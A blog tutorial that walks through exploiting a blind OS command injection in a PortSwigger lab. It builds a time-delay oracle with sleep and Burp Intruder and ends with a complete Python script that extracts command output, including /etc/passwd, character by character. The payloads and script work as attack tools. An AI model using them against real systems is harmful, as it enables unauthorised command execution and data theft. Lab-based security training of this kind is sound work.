So recently, Ben had an interesting YouTube video about getting a $30,000 bounty on a blind command injection vulnerability he found. I’ll let you watch the video to get the whole story, but the gist was that he found a vuln that offered no ability to use out-of-band (OAST) techniques to exfiltrate any information. Being a blind RCE, he had to find another way to get the data.
He ended up chaining a few bash commands together and then used the sleep command to delay the responses so he could determine what data was being shown on the server using time delays. He then showed how he could manually iterate through and leverage some automation in Caido to extract the data more quickly, character by character.
Fun stuff.
I thought it would be fun to see if I could use this technique to automate the exploitation further. So, in this article, I am going to show you how I would approach it in BurpSuite and ultimately write an exfil Python script that can automate it all for you.
Let’s begin.
Step 1 – Identify a blind command injection vulnerability
Honestly, Portswigger’s Web Security Academy has an entire section on OS command injection, so I am not going to waste either of our time explaining HOW to find it. Instead, I will use one of their labs so you can follow along and write your own exploit.
I’m going to use the “Blind OS command injection with time delays” lab. It seems appropriate here in consideration of Ben’s vulnerability.
Spoiler alert: I am about to show you a way to solve this lab really easily. If you want to try it first, come back when you’re done…
… done? Alright then… let’s get to it.
The email field in the submission form is vulnerable to command injection.
Send a valid submission POST request over to Repeater.
If you use two pipes and then place your command inside of that, and then end with another two pipes, you can execute commands.
The payload looks something like this:
POST /feedback/submit HTTP/2
…
csrf=<some-token>&name=Some+username&email=user%40example.com||whoami||&subject=Some+subject&message=Some+msg
If you enter it incorrectly, you will get a 500 HTTP response code and some text that says “Could not save”. If it works, you get a 200 code and an empty JSON object.

So we don’t see the results of the command injection. But we know a blind RCE is there.
Ben’s solution for his vuln was to wrap the command in an if block, and then cut the output to the first character and check to see if it’s an “a”. If it is, then sleep for 10 seconds, letting us know the first character in the whoami command is the letter “a”.
The actual command looks like this:
if [ $(whoami | cut -c 1) = "a" ]; then sleep 10; fi

And sure enough, we can see the response is delayed 10 seconds if we plug that into this payload, url encode it, and send it on its way. Well, if you have the right letter to compare to that is.
In this lab the user running is actually “peter”, so you need to look for a “p” to get the delay.
How did I know that? I used Intruder to find out.
Step 2 – Use Intruder to verify the logic works
With Ben’s payload crafted, let’s send the successful request from Repeater to Intruder.
Select a Sniper attack, and add a payload insertion marker where the character is that we want to check.
In the Payload Configuration use a Simple List and add all the printable ASCII characters you want to check.

Now click “Start attack” and wait.
If you add the column for “Response Completed” and sort by it, you will notice that the letter “p” takes around 10 seconds to return. Everything else returns in under a second.

Now, I could be like Ben and manually edit the payload to now check the second character in the cut command etc, but I’d like to automate all that. So let’s move this into Python.
Step 3 – Repro payload in Python
Click the letter “p” in the Intruder results pane. The actual request sent is shown at the bottom. Right-click on that request and select “Copy as curl command (bash).”

Now paste that in your favorite editor. Remove all the headers that aren’t really needed. You can tweak this to your own liking, but I found I only needed Host, Content-Type, and Priority.
You should be able to run that command and see it respond accordingly.
Now to turn this into Python.
Use curlconverter. If you don’t know what it is or how to use it, then read my article on Writing API exploits in Python.
Take your cleaned up curl command, strip out the unnecessary arguments and run it through curlconverter. It should give you some starting Python code that looks something like this:
import requests
cookies = {
'session': '<some_session_key>',
}
headers = {
'Host': '<some_random_host>.web-security-academy.net',
'Content-Type': 'application/x-www-form-urlencoded',
'Priority': 'u=1, i',
}
data = 'csrf=ghmSM41cA7QCPhMbOIaB3sqYRMceQRca&name=Some+username&email=user%40example.com||if+[+$(whoami+|+cut+-c+1)+%3d+"p"+]%3b+then+sleep+10%3b+fi||&subject=Some+subject&message=Some+Msg'
response = requests.post(
'https://<some_random_host>.web-security-academy.net/feedback/submit',
cookies=cookies,
headers=headers,
data=data,
)
Step 4 – Refactor code to do our bidding
So, while curlconverter is awesome to make the basic Python code, we can make it much cleaner, and add a bit of logic to exfiltrate the entire response from any command we send it.
Let me show you my quick refactoring, and then I’ll explain the code in more detail:
#!/usr/bin/env python3
import string
import requests
from requests.adapters import HTTPAdapter
import time
import urllib.parse
import argparse
# Setup static vars based on specific target needs
# Extract these from the POST captured in Burp
session = "<your_session_cookie_here>"
host = "<your_host_here>"
csrf = "<your_csrf_token_here>"
cookies = {
'session': session
}
headers = {
'Host': f'{host}.web-security-academy.net',
'Content-Type': 'application/x-www-form-urlencoded',
'Priority': 'u=1, i'
}
url = f'https://{host}.web-security-academy.net/feedback/submit'
# You can adjust this array to deal with additional chars as necessary
ascii_array = list(string.printable)
def dump_char(cmd: str, char: str, pos: int, sleep_time: int, session: requests.Session) -> bool:
data = (
f'csrf={csrf}&name=a&email=b%40d.com||'
f'if+[+$({cmd}|cut+-c+{pos})+%3d+"{char}"+]%3b+'
f'then+sleep+{sleep_time}%3b+fi||&subject=c&message=d'
)
response = session.post(
url,
cookies=cookies,
headers=headers,
data=data,
)
response_time = response.elapsed.total_seconds()
return (response_time > sleep_time)
def run_cmd(cmd: str, sleep_time: int) -> None:
encoded_cmd = urllib.parse.quote_plus(cmd)
# Setup a session to keep the connection pool alive and healthy (faster overall response times)
with requests.Session() as session:
adapter = HTTPAdapter(pool_connections=100, pool_maxsize=100)
session.mount('http://', adapter)
session.mount('https://', adapter)
pos = 1
while True:
for char in ascii_array:
if dump_char(encoded_cmd, char, pos, sleep_time, session):
print(char, end="", flush=True)
pos += 1
break
else:
break
def main() -> None:
parser = argparse.ArgumentParser(description="Process some arguments.")
parser.add_argument("cmd", help="Command to run on remote host")
parser.add_argument("--sleep", type=int, help="How long to sleep. (Default 10 seconds)", default=10)
args = parser.parse_args()
try:
start_time = time.time()
run_cmd(args.cmd, args.sleep)
end_time = time.time()
elapsed_time = end_time - start_time
print( f"\n\nIt took {elapsed_time:.1f} seconds to run.")
except KeyboardInterrupt:
print("Aborting...")
if __name__ == "__main__":
main()
dump_char()
The dump_char() function is the main workhorse for the actual exploitation. It uses a boolean-based oracle attack using time delays via the sleep command to signal if a character matches a specific letter. It has been tuned to signal a positive result if the response time of the POST takes more than 10 seconds.
We can use that as a positive signal because the average response time is under a second. You may need to adjust this based on your target’s typical response time. I’ve had success down to about 5 seconds in my testing.
run_cmd()
The run_cmd() function sets up a session to help eliminate the overhead of instantiating new web connections for each request and expands the connection pooling so things don’t time out or linger.
It also acts as the arbiter to control the requests for each character within each position of the response. We actively print the detected character and flush the print stream so we can see the results as soon as they are discovered.
main()
The main() function simply processes the command line argument to get the command we want to inject, and then kicks off the run_cmd() function. We wrap it in some exception handling to catch any keyboard interrupts like CTRL+C.
One thing to note is that you can use complex chained commands here by putting the command in double quotes. When the command is passed to run_cmd() it is encoded to handle whitespace and special characters that may be passed in.
Let me show you the exploit in action.
Step 5 – Exfil all the thingsTM
With exfil.py built, let’s see it in action.
Who are we running as?
$ ./exfil.py “whoami”
peter

What directory are we executing from?
$ ./exfil.py “pwd”
/home/peter

Get user’s info out of /etc/passwd
$ ./exfil.py “cat /etc/passwd|grep peter”
peter:x:12001:12001::/home/peter:/bin/bash
(Sorry, I forgot to take a screenshot for this one. It took a LONG time to run)
Conclusion
It was a fun experiment to write a simple exploit to exfil data using a time-based boolean oracle attack. I wouldn’t say this would be a common way to exfiltrate data from a target, as it would be pretty slow.

But I have to admit, I have done something similar to this in the past during an engagement to download API artifacts from a target to obtain source code. It took several days to dump the data, but it was effective when I didn’t have a strong foothold on the target.
YMMV.
Hopefully, you’ve been able to follow my process and have learned how to take a request out of Burp Suite’s Repeater or Intruder tools, generate some basic Python exploit code and then expand it to automate data exfiltration from a blind command injection vulnerability.
HTH.
Practice. Tweak the code. Make the exploit your own.
Have fun with it. I sure did.
One last thing…

Have you joined The API Hacker Inner Circle yet? It’s my FREE weekly newsletter where I share articles like this, along with pro tips, industry insights, and community news that I don’t tend to share publicly.
If you haven’t yet, subscribe at https://apihacker.blog.


